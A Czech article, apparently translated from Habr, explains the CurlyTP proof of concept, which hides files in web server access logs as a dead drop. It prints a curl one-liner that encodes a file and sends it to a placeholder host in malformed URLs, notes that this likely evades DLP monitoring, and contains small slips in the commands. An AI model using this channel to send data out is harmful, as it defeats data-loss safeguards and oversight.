Výměna tajných zpráv prostřednictvím protokolů serveru

Podle definice Wikipedie je mrtvá kapka konspirační nástroj, který slouží k výměně informací nebo některých předmětů mezi lidmi pomocí tajného místa. Myšlenka je taková, že se lidé nikdy nepotkají – ale přesto si vyměňují informace, aby byla zachována provozní bezpečnost.

Úkryt by neměl přitahovat pozornost. Proto v offline světě často používají diskrétní věci: uvolněnou cihlu ve zdi, knihu v knihovně nebo dutinu ve stromu.

Na internetu existuje mnoho šifrovacích a anonymizačních nástrojů, ale samotný fakt používání těchto nástrojů přitahuje pozornost. Kromě toho mohou být blokovány na podnikové nebo vládní úrovni. Co dělat?

Vývojář Ryan Flowers navrhl zajímavou možnost - použít jakýkoli webový server jako úkryt. Když se nad tím zamyslíte, co dělá webový server? Přijímá požadavky, vydává soubory a zapisuje protokoly. A zaznamenává všechny požadavky, i ty nesprávné!

Ukazuje se, že jakýkoli webový server vám umožňuje uložit téměř jakoukoli zprávu do protokolu. Flowers přemýšlel, jak toho využít.

Nabízí tuto možnost:

  1. Vezměte textový soubor (tajná zpráva) a vypočítejte hash (md5sum).
  2. Kódujeme to (gzip+uuencode).
  3. Do logu zapisujeme pomocí záměrně nesprávného požadavku na server.

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

Chcete-li číst soubor, musíte tyto operace provést v opačném pořadí: dekódujte a rozbalte soubor, zkontrolujte hash (haš lze bezpečně přenášet přes otevřené kanály).

Prostory jsou nahrazeny =+=aby v adrese nebyly žádné mezery. Program, který autor nazývá CurlyTP, používá kódování base64, jako přílohy e-mailů. Požadavek se provádí pomocí klíčového slova ?transfer?aby jej příjemce snadno našel v protokolech.

Co v tomto případě vidíme v protokolech?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

Jak již bylo zmíněno, pro přijetí tajné zprávy musíte provést operace v opačném pořadí:

Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

Proces lze snadno automatizovat. Md5sum odpovídá a obsah souboru potvrzuje, že vše bylo dekódováno správně.

Metoda je velmi jednoduchá. „Cílem tohoto cvičení je jen dokázat, že soubory lze přenášet prostřednictvím nevinných malých webových požadavků a funguje to na jakémkoli webovém serveru s protokoly ve formátu prostého textu. V podstatě každý webový server je skrýš!“ píše Flowers.

Tato metoda samozřejmě funguje pouze v případě, že má příjemce přístup k protokolům serveru. Takový přístup ale poskytuje například mnoho hostitelů.

Jak to použít?

Ryan Flowers říká, že není odborníkem na informační bezpečnost a nebude sestavovat seznam možných použití CurlyTP. Pro něj je to jen důkaz konceptu, že známé nástroje, které vidíme každý den, lze používat netradičním způsobem.

Ve skutečnosti má tato metoda oproti jiným serverovým „skrytům“ řadu výhod Digitální mrtvá kapka nebo PirateBox: nevyžaduje speciální konfiguraci na straně serveru ani žádné speciální protokoly - a nevzbudí podezření u těch, kteří provoz sledují. Je nepravděpodobné, že systém SORM nebo DLP bude skenovat adresy URL na komprimované textové soubory.

Toto je jeden ze způsobů přenosu zpráv prostřednictvím souborů služeb. Můžete si vzpomenout, jak se dříve umísťovaly některé vyspělé firmy Práce vývojáře v záhlaví HTTP nebo v kódu HTML stránek.

Výměna tajných zpráv prostřednictvím protokolů serveru

Myšlenka byla taková, že toto velikonoční vajíčko uvidí pouze weboví vývojáři, protože normální člověk by se nedíval na záhlaví nebo HTML kód.

Výměna tajných zpráv prostřednictvím protokolů serveru

Zdroj: www.habr.com

Přidat komentář